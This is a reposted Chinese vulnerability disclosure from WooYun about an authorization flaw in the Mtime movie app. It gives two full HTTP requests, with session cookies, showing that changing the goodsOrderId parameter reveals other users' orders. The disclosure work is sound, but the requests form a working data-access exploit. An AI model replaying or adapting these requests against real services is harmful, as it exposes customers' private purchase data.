记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

Mtime时光网越权查看订单

2016-06-24 23:55

时光网app下载地址 http://feature.mtime.com/mobile/

测试的是ios客户端

1.png



有两处接口可越权遍历订单

#1

code 区域
GET /ECommerce/GoodsOrderInfo.api?goodsOrderId=7708428 HTTP/1.1

Host: api.m.mtime.cn

X-MTime-Mobile-CheckValue: 5,1462780658496,80CB2F439C0F418EB3CBD657223B3620

Proxy-Connection: keep-alive

Accept-Encoding: gzip

Cookie: loginEmail=wooyun_222%40163.com; autoExit=; _mi_=411530972117512131043048311531065.16050915425546866C52C46202E4F5FA1B36

Connection: keep-alive

X-Mtime-Mobile-DeviceInfo: iPad3,5

User-Agent: Mtime iOS App 9.2.4



遍历 goodsOrderId

2.png



3.png

漏洞证明:

#2

code 区域
GET /Service/callback.mi/ECommerce/GoodsOrderGroupInfo.api?goodsOrderId=7708418&t=2016591604916857 HTTP/1.1

Host: mall.wv.mtime.cn

Referer: http://mall.wv.mtime.cn/

X-Requested-With: XMLHttpRequest

Proxy-Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-cn

Cookie: Hm_lpvt_e07949f61338e36deb5fc85107e6157b=1462780847; Hm_lvt_e07949f61338e36deb5fc85107e6157b=1462779830,1462780411; _mi_=411530972117512131043048311531065.16050915425546866C52C46202E4F5FA1B36; _tt_=57303f6300fc8c3796a0da61; loginEmail=wooyun_222%40163.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13E238 Mtime_iPhone_Showtime_Hybird/9.2.4(WebView Width 320 Height 568) (Device iPad3,5)



遍历 goodsOrderId

4.png



5.png

修复方案:

发礼物

知识来源: www.wooyun.org/bugs/wooyun-2016-0206705

阅读:112149 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“Mtime时光网越权查看订单”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云

本页关键词